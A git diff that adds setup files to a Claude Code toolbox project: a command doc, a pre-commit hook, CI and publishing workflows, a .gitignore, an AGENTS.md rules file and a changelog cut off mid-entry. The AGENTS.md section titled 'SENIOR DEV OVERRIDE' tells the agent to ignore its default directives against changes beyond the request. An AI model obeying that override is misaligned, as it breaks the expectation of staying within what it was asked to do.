diff --git a/.claude/commands/toolbox-init.md b/.claude/commands/toolbox-init.md new file mode 100644 index 0000000000000000000000000000000000000000..44dc3ce02380a4f0db286d0a4e67780246e4239a --- /dev/null +++ b/.claude/commands/toolbox-init.md @@ -0,0 +1,54 @@ +# /toolbox init + +Run the intent interview to bootstrap this repo's toolbox set. + +## What it does + +Drives `src/intent_interview.py init` to: + +1. Detect the repo's state (git? commits? languages? existing toolbox config?). +2. Load the current behaviour profile from `~/.claude/user-profile.json`. +3. Ask up to three questions: + - which starter toolboxes to activate (ship-it, security-sweep, + refactor-safety, docs-review, fresh-repo-init) + - which behaviour-miner suggestions to accept (if any exist) + - default analysis mode for new toolboxes +4. Persist the chosen toolboxes to `~/.claude/toolboxes.json` when `--apply` + is passed. + +The interview can be skipped at any prompt by typing `skip`. + +## Usage + +```bash +# Default: interactive flow, dry run (no write to global config) +python src/intent_interview.py init + +# Preset flow (no prompts) +python src/intent_interview.py init --preset blank --apply +python src/intent_interview.py init --preset existing --apply +python src/intent_interview.py init --preset docs-heavy --apply +python src/intent_interview.py init --preset security-first --apply + +# Fully structured (for CI or scripted setup) +python src/intent_interview.py init \ + --non-interactive \ + --starters ship-it,security-sweep \ + --suggestions 1,2 \ + --analysis dynamic \ + --apply + +# Just detect state without running the interview +python src/intent_interview.py detect +``` + +## Exit codes + +- `0` — success, JSON payload printed to stdout +- non-zero — unrecoverable error (unknown preset, malformed args) + +## Related + +- `src/toolbox.py` — CLI for managing the toolbox set directly. +- `src/behavior_miner.py` — produces the suggestions this command surfaces. +- `src/toolbox_hooks.py` — the bridge between Claude Code hooks and the runner. diff --git a/.dedup-allowlist.txt b/.dedup-allowlist.txt new file mode 100644 index 0000000000000000000000000000000000000000..ac692bf8ed2f133a946a9bffa6f42d5e1b807bc3 --- /dev/null +++ b/.dedup-allowlist.txt @@ -0,0 +1,18 @@ +# Dedup allowlist — pairs that look duplicate by cosine similarity +# but are legitimately distinct. The dedup gate skips these in the +# report. +# +# Format: one pair per line: +# +# # reason +# +# Slugs are matched case-sensitively against the entity's directory +# name (e.g. `mattpocock-tdd`, not `mattpocock_tdd`). Order doesn't +# matter — the gate canonicalises (low, high) before matching. +# +# Anything after `#` on a line is a comment. +# +# Examples (uncomment after reviewing the actual finding): +# +# strix-vulnerabilities-csrf strix-vulnerabilities-xss # both web vuln playbooks; structurally similar but cover different attack classes +# python-pro python-patterns # one is the agent prompt, the other is the pattern guide; intentional overlap diff --git a/.githooks/pre-commit b/.githooks/pre-commit new file mode 100644 index 0000000000000000000000000000000000000000..8d7562745addb3436c7c2892b562ff0da444b863 --- /dev/null +++ b/.githooks/pre-commit @@ -0,0 +1,168 @@ +#!/usr/bin/env bash +# pre-commit -- keep README numbers and wiki tarball in sync with reality. +# +# Enable with: git config core.hooksPath .githooks +# Disable with: git config --unset core.hooksPath +# +# Two stages run on every commit: +# +# 1. Stat refresh: regenerate skill/agent/graph/test counts in README.md +# from authoritative sources. Re-stages README.md if it drifted. +# +# 2. Wiki rebuild (only when skills/ or agents/ changed in this commit): +# rebuild entity pages + knowledge graph, repack the wiki tarball at +# graph/wiki-graph.tar.gz, and re-stage it so the committed state of +# the repo always matches the deployed wiki. +# +# Behaviour on failure is *permissive*: if a tool can't resolve something +# (wiki not deployed, pytest missing, tar unavailable), it warns and leaves +# the affected file untouched. The commit is never blocked. + +set -u + +REPO_ROOT="$(git rev-parse --show-toplevel)" +UPDATER="$REPO_ROOT/src/update_repo_stats.py" +WIKI_DIR="$HOME/.claude/skill-wiki" +TARBALL="$REPO_ROOT/graph/wiki-graph.tar.gz" +SKILLS_SH_CATALOG="$REPO_ROOT/graph/skills-sh-catalog.json.gz" +SKILLS_SH_IMPORTER="$REPO_ROOT/src/import_skills_sh_catalog.py" + +PYTHON="${PYTHON:-python3}" +command -v "$PYTHON" >/dev/null 2>&1 || PYTHON="python" + +log() { echo "[pre-commit] $*" >&2; } + +# ── Stage 1: README stat refresh ────────────────────────────────────────────── +if [[ -f "$UPDATER" ]]; then + if ! "$PYTHON" "$UPDATER" 2> >(sed 's/^/[pre-commit stats] /' >&2); then + log "stats updater failed — continuing without README refresh" + elif ! git diff --quiet -- README.md; then + git add README.md + log "README.md refreshed and re-staged" + fi +fi + +# ── Stage 2: Wiki tarball refresh ───────────────────────────────────────────── +# Trigger conditions (any one fires a rebuild): +# +# A. The commit touches repo-tracked entity sources: +# - skills/ agents/ (legacy locations) +# - any src/*mirror*.py / src/*_install.py (behavioural contract +# changes for how entities flow from local -> wiki -> tarball) +# B. The tarball itself is already staged (force-rebuild signal — +# e.g. a manual repack the author wants preserved). +# C. WIKI DRIFT: ~/.claude/skill-wiki/ carries content newer than +# graph/wiki-graph.tar.gz. Covers the case where +# ctx-skill-mirror / ctx-agent-mirror / ctx-mcp-ingest wrote into +# the wiki OUTSIDE a commit and the tarball is now stale. Prior +# to this rule MCP ingests were invisible to the hook — MCPs +# don't live under repo-tracked skills/ or agents/. +STAGED_CHANGES=$(git diff --cached --name-only) +NEEDS_WIKI_REBUILD=0 +WIKI_REBUILD_REASON="" + +if echo "$STAGED_CHANGES" | grep -qE '^(skills|agents)/' ; then + NEEDS_WIKI_REBUILD=1 + WIKI_REBUILD_REASON="skills/ or agents/ source changed" +elif echo "$STAGED_CHANGES" | grep -qE '^graph/wiki-graph\.tar\.gz$' ; then + NEEDS_WIKI_REBUILD=1 + WIKI_REBUILD_REASON="tarball staged (force-rebuild signal)" +elif [[ -f "$TARBALL" && -d "$WIKI_DIR" ]]; then + # Cheap drift check: find the newest relevant wiki file and compare + # against the tarball's mtime. Bounded to the dirs we actually pack + # (exclude raw/, .embedding-cache/, checkpoints) so unrelated + # regenerable state doesn't fire a rebuild. + WIKI_NEWEST=$(find "$WIKI_DIR" \ + -path "$WIKI_DIR/raw" -prune -o \ + -path "$WIKI_DIR/.embedding-cache" -prune -o \ + -path "$WIKI_DIR/.ingest-checkpoint" -prune -o \ + -path "$WIKI_DIR/.enrich-checkpoint" -prune -o \ + -type f -newer "$TARBALL" -print 2>/dev/null | head -1) + if [[ -n "$WIKI_NEWEST" ]]; then + NEEDS_WIKI_REBUILD=1 + WIKI_REBUILD_REASON="wiki drift — ${WIKI_NEWEST#$WIKI_DIR/} newer than tarball" + fi +fi + +if [[ $NEEDS_WIKI_REBUILD -eq 1 ]]; then + if [[ ! -d "$WIKI_DIR" ]]; then + log "$WIKI_REBUILD_REASON, but wiki not deployed at $WIKI_DIR — skipping rebuild" + else + log "$WIKI_REBUILD_REASON — rebuilding wiki + graph + tarball (skills + agents + MCPs)" + + # Regenerate entity pages + graph. These two scripts already warn but + # don't abort on individual failures. + if ! "$PYTHON" "$REPO_ROOT/src/wiki_batch_entities.py" --all \ + 2> >(sed 's/^/[pre-commit wiki] /' >&2); then + log "entity regen failed — continuing" + fi + if ! PYTHONPATH="$REPO_ROOT/src${PYTHONPATH:+:$PYTHONPATH}" "$PYTHON" -m ctx.core.wiki.wiki_graphify \ + 2> >(sed 's/^/[pre-commit wiki] /' >&2); then + log "graph rebuild failed — continuing" + fi + + # Repack the tarball. We exclude .obsidian, .trash, and venv artifacts. + # Working dir = $WIKI_DIR's parent so the tarball contents are relative + # to skill-wiki/. + if command -v tar >/dev/null 2>&1; then + mkdir -p "$(dirname "$TARBALL")" + # --force-local: GNU tar on Windows/MSYS otherwise parses the + # colon in ``c:/path`` as a host:path remote-tar spec and fails + # with "Cannot connect to c: resolve failed". This flag tells + # tar the path is always local regardless of any colon it contains. + # + # .obsidian is intentionally included — graph/README documents + # that the tarball opens directly as an Obsidian vault. Dropping + # it silently removes a shipped feature. + # Exclusions beyond .trash / __pycache__: + # - raw/: MCP catalog HTML dumps (pulsemcp scraper). 700MB+ + # of regenerable content; the ingest cache is pointless + # to ship and pushed the tarball past GitHub's 100MB + # single-file limit. + # - .embedding-cache/: 60MB+ of sentence-transformer vectors + # keyed by content hash. Auto-regenerated on the first + # graphify after unpack. + # - .ingest-checkpoint/ + .enrich-checkpoint/: per-user + # resume state for catalog scrapes. Useless to another + # user and could leak partial enrichment history. + # - graphify-out/graph-delta.json + graph.pickle: the delta + # is a single-run artifact; pickle was removed as an RCE + # vector in 86a1688 but a stale one on disk must not ship. + if ( cd "$WIKI_DIR" && tar --force-local -czf "$TARBALL" \ + --exclude='.trash' \ + --exclude='__pycache__' \ + --exclude='./raw' \ + --exclude='./.embedding-cache' \ + --exclude='./.ingest-checkpoint' \ + --exclude='./.enrich-checkpoint' \ + --exclude='./graphify-out/graph-delta.json' \ + --exclude='./graphify-out/graph.pickle' \ + . ); then + if [[ -f "$SKILLS_SH_CATALOG" && -f "$SKILLS_SH_IMPORTER" ]]; then + "$PYTHON" "$SKILLS_SH_IMPORTER" \ + --from-catalog "$SKILLS_SH_CATALOG" \ + --catalog-out "$SKILLS_SH_CATALOG" \ + --wiki-tar "$TARBALL" \ + --update-wiki-tar \ + 2> >(sed 's/^/[pre-commit skills.sh] /' >&2) \ + || log "Skills.sh overlay refresh failed — continuing with curated tarball" + fi + git add "$TARBALL" + [[ -f "$SKILLS_SH_CATALOG" ]] && git add "$SKILLS_SH_CATALOG" + log "wiki tarball rebuilt and re-staged ($(du -h "$TARBALL" | cut -f1))" + else + log "tar repack failed — tarball left as-is" + fi + else + log "tar not available — skipping tarball repack" + fi + + # Refresh README stats again (counts likely changed). + if [[ -f "$UPDATER" ]]; then + "$PYTHON" "$UPDATER" 2>/dev/null || true + git diff --quiet -- README.md || { git add README.md; log "README refreshed after wiki rebuild"; } + fi + fi +fi + +exit 0 diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 0000000000000000000000000000000000000000..09141fd2d4251d0111049ced1880167f5749b014 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,36 @@ +--- +name: Bug report +about: Something is broken +title: "[bug] " +labels: bug +assignees: "" +--- + +## Describe the bug + +A clear description of what went wrong. + +## To reproduce + +Steps to reproduce: + +1. Run `...` +2. See error + +## Expected behaviour + +What you expected to happen. + +## Actual behaviour + +What actually happened. Include the full traceback if applicable. + +## Environment + +- OS: +- Python version: +- ctx version / commit: + +## Additional context + +Any other context (config snippets, related issues, etc.). diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 0000000000000000000000000000000000000000..6d494be7a23ec98878bc899b3b455219d7c26c87 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,23 @@ +--- +name: Feature request +about: Suggest an improvement or new capability +title: "[feat] " +labels: enhancement +assignees: "" +--- + +## Problem statement + +What problem does this feature solve? Who is affected? + +## Proposed solution + +Describe your preferred solution. Include any API or CLI surface you have in mind. + +## Alternatives considered + +Any other approaches you considered and why you ruled them out. + +## Additional context + +Relevant links, prior art, or examples. diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md new file mode 100644 index 0000000000000000000000000000000000000000..1d5062dbe3dd46ca7a3f7335edc2b97061d92da6 --- /dev/null +++ b/.github/pull_request_template.md @@ -0,0 +1,15 @@ +## Summary + + + +## Related issue + + + +## Test plan + +- [ ] Existing tests pass (`pytest -q`) +- [ ] New tests added for changed behaviour +- [ ] `ruff check src/` passes +- [ ] `mypy src/` passes +- [ ] Integration tests checked if embedding code was touched (`pytest -q -m integration`) diff --git a/.github/workflows/clean-host-contract.yml b/.github/workflows/clean-host-contract.yml new file mode 100644 index 0000000000000000000000000000000000000000..e5c6b04d26d9f6d5b05b34b16ea903ff7009fc9d --- /dev/null +++ b/.github/workflows/clean-host-contract.yml @@ -0,0 +1,29 @@ +name: Clean Host Contract + +on: + workflow_dispatch: + schedule: + - cron: "17 3 * * 1" + +jobs: + clean-host-contract: + name: Clean wheel install and A-Z contract + runs-on: ubuntu-latest + timeout-minutes: 25 + + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Set up Python 3.12 + uses: actions/setup-python@v5 + with: + python-version: "3.12" + cache: pip + cache-dependency-path: pyproject.toml + + - name: Upgrade pip + run: python -m pip install --upgrade pip + + - name: Run clean-host contract + run: python scripts/clean_host_contract.py --fast diff --git a/.github/workflows/docs.yml b/.github/workflows/docs.yml new file mode 100644 index 0000000000000000000000000000000000000000..6a705bf80edd24ac7fe0f50d0c9e987e159cc967 --- /dev/null +++ b/.github/workflows/docs.yml @@ -0,0 +1,69 @@ +name: Deploy docs to GitHub Pages + +# Build the MkDocs Material site and publish to GitHub Pages on every push +# to main. Also deployable on demand via the workflow_dispatch trigger. + +on: + push: + branches: + - main + paths: + - "docs/**" + - "mkdocs.yml" + - "requirements-docs.txt" + - ".github/workflows/docs.yml" + workflow_dispatch: + +# GitHub Pages requires these permissions on the deploy job. +permissions: + contents: read + pages: write + id-token: write + +# Allow only one concurrent deploy; cancel in-progress runs on a new push. +concurrency: + group: "pages" + cancel-in-progress: true + +jobs: + build: + name: Build site + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Required by mkdocs git-revision plugins if added. + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: "3.11" + cache: "pip" + cache-dependency-path: requirements-docs.txt + + - name: Install docs dependencies + run: | + python -m pip install --upgrade pip + python -m pip install -r requirements-docs.txt + + - name: Build site (strict) + run: | + python -m mkdocs build --strict + + - name: Upload Pages artifact + uses: actions/upload-pages-artifact@v3 + with: + path: site + + deploy: + name: Deploy to GitHub Pages + needs: build + runs-on: ubuntu-latest + environment: + name: github-pages + url: ${{ steps.deployment.outputs.page_url }} + steps: + - name: Deploy + id: deployment + uses: actions/deploy-pages@v4 diff --git a/.github/workflows/publish.yml b/.github/workflows/publish.yml new file mode 100644 index 0000000000000000000000000000000000000000..f2a5b1c2aca7a0ca43397c697176434a528f4dad --- /dev/null +++ b/.github/workflows/publish.yml @@ -0,0 +1,138 @@ +name: Publish to PyPI + +# Publish claude-ctx to PyPI on every tag that looks like a version +# (v0.5.0, v0.5.0-rc1, v1.0.0, …). Uses PyPI Trusted Publishing — +# no API token needed once the pending publisher is configured at +# https://pypi.org/manage/account/publishing/. +# +# Also deployable on demand via workflow_dispatch (useful for +# re-publishing to TestPyPI). + +on: + push: + tags: + - "v*" + workflow_dispatch: + inputs: + repository: + description: "PyPI repository (pypi or testpypi)" + required: true + default: "pypi" + type: choice + options: + - pypi + - testpypi + +permissions: + id-token: write # required for Trusted Publishing + contents: read + +jobs: + build: + name: Build sdist + wheel + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: "3.12" + + - name: Install release tooling + run: | + python -m pip install --upgrade pip + python -m pip install build packaging twine + + - name: Validate tag matches package version + if: github.event_name == 'push' + run: | + python - <<'PY' + import os + import tomllib + from packaging.version import Version + + tag = os.environ["GITHUB_REF_NAME"] + if not tag.startswith("v"): + raise SystemExit(f"release tag must start with v: {tag}") + + with open("pyproject.toml", "rb") as fh: + package_version = tomllib.load(fh)["project"]["version"] + + tag_version = str(Version(tag[1:])) + normalized_package_version = str(Version(package_version)) + if tag_version != normalized_package_version: + raise SystemExit( + f"tag {tag!r} does not match pyproject version {package_version!r}" + ) + print(f"release version {package_version} matches tag {tag}") + PY + + - name: Build distributions + run: python -m build + + - name: Check distributions + run: python -m twine check dist/* + + - name: Smoke install wheel + run: | + python -m venv .venv-smoke + . .venv-smoke/bin/activate + python -m pip install --upgrade pip + python -m pip install dist/*.whl + python -m pip check + python - <<'PY' + from importlib.metadata import entry_points, version + + import ctx + + dist_version = version("claude-ctx") + if ctx.__version__ != dist_version: + raise SystemExit( + f"ctx.__version__={ctx.__version__!r} != metadata {dist_version!r}" + ) + scripts = [ + ep for ep in entry_points(group="console_scripts") + if ep.name == "ctx" or ep.name.startswith("ctx-") + ] + failures = [] + for ep in scripts: + try: + ep.load() + except Exception as exc: + failures.append(f"{ep.name}: {exc!r}") + if failures: + raise SystemExit("console script load failures:\n" + "\n".join(failures)) + print(f"loaded {len(scripts)} ctx console scripts from wheel {dist_version}") + PY + + - name: Upload dist artifact + uses: actions/upload-artifact@v4 + with: + name: dist + path: dist/ + + publish: + name: Publish to PyPI + needs: build + runs-on: ubuntu-latest + environment: + name: pypi + url: https://pypi.org/project/claude-ctx/ + steps: + - name: Download dist artifact + uses: actions/download-artifact@v4 + with: + name: dist + path: dist/ + + - name: Publish to PyPI + if: github.event_name == 'push' || github.event.inputs.repository == 'pypi' + uses: pypa/gh-action-pypi-publish@release/v1 + + - name: Publish to TestPyPI + if: github.event_name == 'workflow_dispatch' && github.event.inputs.repository == 'testpypi' + uses: pypa/gh-action-pypi-publish@release/v1 + with: + repository-url: https://test.pypi.org/legacy/ diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml new file mode 100644 index 0000000000000000000000000000000000000000..2f9c0456f070731d10496d2dfa3896f6615a5e3e --- /dev/null +++ b/.github/workflows/test.yml @@ -0,0 +1,241 @@ +name: Tests + +on: + push: + branches: [main] + pull_request: + branches: [main] + +jobs: + test: + name: pytest (${{ matrix.os }} / py${{ matrix.python-version }}) + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest] + python-version: ["3.11", "3.12"] + + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v5 + with: + python-version: ${{ matrix.python-version }} + cache: pip + cache-dependency-path: pyproject.toml + + - name: Install dependencies + run: | + python -m pip install --upgrade pip + python -m pip install ".[dev]" + + - name: Run static quality gates + run: python -m ruff check src hooks scripts && python -m mypy src && python -m pip check + + - name: Run tests with coverage gate + # --cov-fail-under=40 is the FLOOR, not the goal. QA-expert + # flagged zero coverage on install CLIs, install_utils, + # semantic_edges, and others; the immediate ask is that a PR + # which DROPS coverage below the current baseline fails CI. + # Bump this number as the coverage sprint ships — never + # lower it. + run: pytest -q -m "not browser" --cov=src --cov-report=term-missing --cov-fail-under=40 + + - name: Upload coverage artifact + if: matrix.os == 'ubuntu-latest' && matrix.python-version == '3.11' + uses: actions/upload-artifact@v4 + with: + name: coverage + path: .coverage + retention-days: 7 + + e2e-canary: + name: "A-Z alive-loop E2E canary" + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Set up Python 3.11 + uses: actions/setup-python@v5 + with: + python-version: "3.11" + cache: pip + cache-dependency-path: pyproject.toml + + - name: Install dependencies + run: | + python -m pip install --upgrade pip + python -m pip install ".[dev]" + + - name: Run E2E + fuzz canary suite + # These two files pin the critical-path invariants: + # test_alive_loop_e2e.py: A-Z user journey (signals → bundle → + # install → unload → purge) — any handoff regression trips it. + # test_fuzz_yaml_rendering.py: property-based YAML injection + # coverage on install/enrich render_scalar. + # They live in the main matrix job already, but pulling them + # forward as a separate fail-fast canary surfaces the regression + # in seconds instead of waiting for the full 2500-test run. + run: | + pytest -q --no-cov \ + src/tests/test_alive_loop_e2e.py \ + src/tests/test_fuzz_yaml_rendering.py + + browser-security: + name: "Browser monitor security" + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Set up Python 3.12 + uses: actions/setup-python@v5 + with: + python-version: "3.12" + cache: pip + cache-dependency-path: pyproject.toml + + - name: Install browser test dependencies + run: | + python -m pip install --upgrade pip + python -m pip install ".[dev,browser]" + python -m playwright install --with-deps chromium + + - name: Run browser security tests + run: pytest -q --no-cov -m browser src/tests/test_ctx_monitor_browser.py + + package-smoke: + name: "Wheel package smoke" + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Set up Python 3.12 + uses: actions/setup-python@v5 + with: + python-version: "3.12" + cache: pip + cache-dependency-path: pyproject.toml + + - name: Build and inspect wheel + run: | + python -m pip install --upgrade pip + python -m pip install build twine + python -m build + python -m twine check dist/* + + - name: Install wheel in clean venv + run: | + python -m venv .venv-smoke + . .venv-smoke/bin/activate + python -m pip install --upgrade pip + python -m pip install dist/*.whl + python -m pip check + python - <<'PY' + from importlib.metadata import entry_points, version + + import ctx + + dist_version = version("claude-ctx") + if ctx.__version__ != dist_version: + raise SystemExit( + f"ctx.__version__={ctx.__version__!r} != metadata {dist_version!r}" + ) + + scripts = [ + ep for ep in entry_points(group="console_scripts") + if ep.name == "ctx" or ep.name.startswith("ctx-") + ] + failures = [] + for ep in scripts: + try: + ep.load() + except Exception as exc: + failures.append(f"{ep.name}: {exc!r}") + if failures: + raise SystemExit("console script load failures:\n" + "\n".join(failures)) + print(f"loaded {len(scripts)} ctx console scripts from wheel {dist_version}") + PY + ctx-init --help >/dev/null + ctx-scan-repo --help >/dev/null + ctx-wiki-graphify --help >/dev/null + ctx --help >/dev/null + + clean-host-contract: + name: "Clean host contract" + runs-on: ubuntu-latest + timeout-minutes: 25 + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Set up Python 3.12 + uses: actions/setup-python@v5 + with: + python-version: "3.12" + cache: pip + cache-dependency-path: pyproject.toml + + - name: Upgrade pip + run: python -m pip install --upgrade pip + + - name: Run clean-host contract + run: python scripts/clean_host_contract.py --fast + + no-test-no-merge: + name: "Every src/*.py change must touch a src/tests/*.py" + runs-on: ubuntu-latest + if: github.event_name == 'pull_request' + steps: + - name: Checkout with full history + uses: actions/checkout@v4 + with: + fetch-depth: 0 + + - name: Enforce test-coverage-per-PR policy + # Policy: any source change under src/ that isn't itself a test + # must be accompanied by at least one test file change in the + # same PR. Exemptions: + # - Pure docs / comment changes (matched by a trivial heuristic) + # - Config JSON (src/config.json) — schema changes get tests + # for the accessor, not the JSON itself. + # - Changes ONLY inside __pycache__, .pyc files, etc. + run: | + set -euo pipefail + BASE="${{ github.event.pull_request.base.sha }}" + HEAD="${{ github.event.pull_request.head.sha }}" + LABELS='${{ toJson(github.event.pull_request.labels.*.name) }}' + CHANGED=$(git diff --name-only "$BASE" "$HEAD" -- 'src/**/*.py' 'src/**/*.json' || true) + SRC=$(echo "$CHANGED" | grep -E '^src/.*\.py$' | grep -v '^src/tests/' || true) + TEST=$(echo "$CHANGED" | grep -E '^src/tests/.*\.py$' || true) + + if [ -z "$SRC" ]; then + echo "No src/*.py changes — policy not applicable." + exit 0 + fi + if [ -z "$TEST" ]; then + if echo "$LABELS" | grep -q '"no-tests-needed"'; then + echo "Policy exempted by no-tests-needed label." + exit 0 + fi + echo "::error::Policy violation — src/*.py changed but no src/tests/*.py touched in this PR." + echo "Source files changed without accompanying test:" + echo "$SRC" + echo "" + echo "Fix: add or update tests in src/tests/ that cover the change." + echo "If the change is genuinely untestable (e.g. a release-version" + echo "bump), label the PR 'no-tests-needed' and leave a comment." + exit 1 + fi + echo "Policy satisfied — src changes accompanied by test changes." + echo "" + echo "Source files:" + echo "$SRC" + echo "" + echo "Test files:" + echo "$TEST" diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000000000000000000000000000000000000..7d5e3496eede404c687cfe3046818b5a7bf4e45f --- /dev/null +++ b/.gitignore @@ -0,0 +1,87 @@ +# Babysitter orchestration — runs, state, and local SDK install +.a5c/ + +# Python +__pycache__/ +*.py[cod] +*.pyo +*.pyd +.Python +*.egg-info/ +dist/ +build/ +*.egg +.eggs/ +.venv/ +venv/ +env/ +.env + +# Node / npm +node_modules/ +npm-debug.log* +yarn-debug.log* +yarn-error.log* +package-lock.json + +# Temp / runtime outputs +/tmp/ +*.tmp +*.bak +*.swp +*.swo +.DS_Store +Thumbs.db + +# Skill system runtime files (generated, not source) +/skills/skill-router/check-gates.md +/skills/skill-router/failure-log.md + +# Agent directives (cloned from global ~/.claude/CLAUDE.md — personal, not for sharing) +CLAUDE.md + +# Per-workspace Claude Code settings (local permissions, user-specific) +.claude/ + +# Wiki (runtime knowledge store, not source) +# Uncomment to exclude the wiki from the repo: +# ~/.claude/skill-wiki/ + +# Intent log and pending signals (session runtime) +# These live in ~/.claude/ so already outside the repo + +# Internal review artifacts and working notes (not public docs) +/docs/reports/ +/docs/plans/20[0-9][0-9]-*/ +/docs/plans/20[0-9][0-9]-*.md +/internal/reviews/ + +# Generated graph review artifacts (regenerate locally when needed) +/graph/*-report.md +/graph/*-report.json +/graph/*-report.json.gz +/graph/tag-backfill.md +/graph/tag-backfill.json + +# Secrets / config overrides +skill-system-config.json +.env.local + +# Strix security scanner (local venv, instructions, output) +.strix-venv/ +.strix-instructions.txt +.strix-output/ +.strix-out/ +.strix-run.log +.strix-preview-wiki/ +.imported-deployed/ +strix_runs/ + +# Test coverage +.coverage +htmlcov/ +.pytest_cache/ +.mypy_cache/ + +# MkDocs build output +/site/ diff --git a/AGENTS.md b/AGENTS.md new file mode 100644 index 0000000000000000000000000000000000000000..5f2483b03431a12b987507711e7a776cb301fac5 --- /dev/null +++ b/AGENTS.md @@ -0,0 +1,70 @@ +# Agent Directives: Mechanical Overrides + +You are operating within a constrained context window and strict system prompts. To produce production-grade code, you MUST adhere to these overrides: + +## Pre-Work + +1. THE "STEP 0" RULE: Dead code accelerates context compaction. Before ANY structural refactor on a file >300 LOC, first remove all dead props, unused exports, unused imports, and debug logs. Commit this cleanup separately before starting the real work. + +2. PHASED EXECUTION: Never attempt multi-file refactors in a single response. Break work into explicit phases. Complete Phase 1, run verification, and wait for my explicit approval before Phase 2. Each phase must touch no more than 5 files. + +## Code Quality + +3. THE SENIOR DEV OVERRIDE: Ignore your default directives to "avoid improvements beyond what was asked" and "try the simplest approach." If architecture is flawed, state is duplicated, or patterns are inconsistent - propose and implement structural fixes. Ask yourself: "What would a senior, experienced, perfectionist dev reject in code review?" Fix all of it. Don't be lazy. + +4. FORCED VERIFICATION: Your internal tools mark file writes as successful even if the code does not compile. You are FORBIDDEN from reporting a task as complete until you have: +- Run `npx tsc --noEmit` (or the project's equivalent type-check) +- Run `npx eslint . --quiet` (if configured) +- Fixed ALL resulting errors + +If no type-checker is configured, state that explicitly instead of claiming success. + +## Context Management + +5. SUB-AGENT SWARMING: For tasks touching >5 independent files, you MUST launch parallel sub-agents (5-8 files per agent). Each agent gets its own context window. This is not optional - sequential processing of large tasks guarantees context decay. + +6. CONTEXT DECAY AWARENESS: After 10+ messages in a conversation, you MUST re-read any file before editing it. Do not trust your memory of file contents. Auto-compaction may have silently destroyed that context and you will edit against stale state. + +7. FILE READ BUDGET: Each file read is capped at 2,000 lines. For files over 500 LOC, you MUST use offset and limit parameters to read in sequential chunks. Never assume you have seen a complete file from a single read. + +8. TOOL RESULT BLINDNESS: Tool results over 50,000 characters are silently truncated to a 2,000-byte preview. If any search or command returns suspiciously few results, re-run it with narrower scope (single directory, stricter glob). State when you suspect truncation occurred. + +## Edit Safety + +9. EDIT INTEGRITY: Before EVERY file edit, re-read the file. After editing, read it again to confirm the change applied correctly. The Edit tool fails silently when old_string doesn't match due to stale context. Never batch more than 3 edits to the same file without a verification read. + +10. NO SEMANTIC SEARCH: You have grep, not an AST. When renaming or changing any function/type/variable, you MUST search separately for: + - Direct calls and references + - Type-level references (interfaces, generics) + - String literals containing the name + - Dynamic imports and require() calls + - Re-exports and barrel file entries + - Test files and mocks + Do not assume a single grep caught everything. + +## Coding Discipline (Karpathy Principles) + +11. THINK BEFORE CODING: Don't assume. Don't hide confusion. Surface tradeoffs. Before implementing: + - State assumptions explicitly. If uncertain, ask. + - If multiple interpretations exist, present them - don't pick silently. + - If a simpler approach exists, say so. Push back when warranted. + - If something is unclear, stop. Name what's confusing. Ask. + +12. SIMPLICITY FIRST: Minimum code that solves the problem. Nothing speculative. No features beyond what was asked. No abstractions for single-use code. No "flexibility" or "configurability" that wasn't requested. If you write 200 lines and it could be 50, rewrite it. **Note:** This complements rule #3 (Senior Dev Override) - fix real architectural flaws, but don't overbuild. + +13. SURGICAL CHANGES: When editing existing code, match existing style. Don't "improve" adjacent code, comments, or formatting that aren't part of the task. If your changes create orphans, remove them. If you notice unrelated dead code, mention it - don't delete it. Every changed line should trace directly to the user's request. **Note:** Rule #1 (Step 0) is the exception - dead code cleanup is done as a separate, explicit commit before refactoring. + +14. GOAL-DRIVEN EXECUTION: Transform vague tasks into verifiable goals before starting. For multi-step tasks, state a brief plan with success criteria: + ``` + 1. [Step] -> verify: [check] + 2. [Step] -> verify: [check] + ``` + Strong success criteria let you loop independently. Weak criteria ("make it work") require constant clarification. **Note:** This extends rule #4 (Forced Verification) from tool-level checks to task-level planning. + +## Post-Work + +15. CODEX REVIEW: Every completed task is reviewed by Codex after you hand off. Before declaring "done": + - Re-read every file you edited and confirm the change actually persisted. + - Re-run the verification commands from rule #4 and quote the output, not the intent. + - Separate what you **observed** from what you **inferred** — Codex will catch inferences dressed up as observations. + - Leave a short "for-the-reviewer" note at the end of your response: what you touched, what you verified, what you did NOT verify and why. This is non-negotiable — a downstream reviewer seeing no caveats assumes everything was checked, and that assumption is what gets shipped. diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000000000000000000000000000000000000..4fb0e50cde6eae151d5a2bad9adb21de588a0185 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,1235 @@ +# Changelog + +All notable changes to the `ctx` project will be documented in this file. +Format loosely follows [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). + +## [Unreleased] + +- No unreleased changes yet. + +## [0.7.0] - 2026-04-28 + +This release is the hardening and model-agnostic harness release. It +consolidates the MCP phase work that had accumulated under Unreleased, +then adds the full review remediation stack: shared recommendation +semantics, safer harness execution/resume/tooling, locked and durable +state writes, cleaner package/CI gates, and typed skill/agent/MCP +handling across the dashboard, resolver, manifest, and wiki. + +### Security + +- Hardened monitor mutations with same-origin and token checks. +- Locked manifest and wiki read-modify-write paths that can be hit by + concurrent sessions or 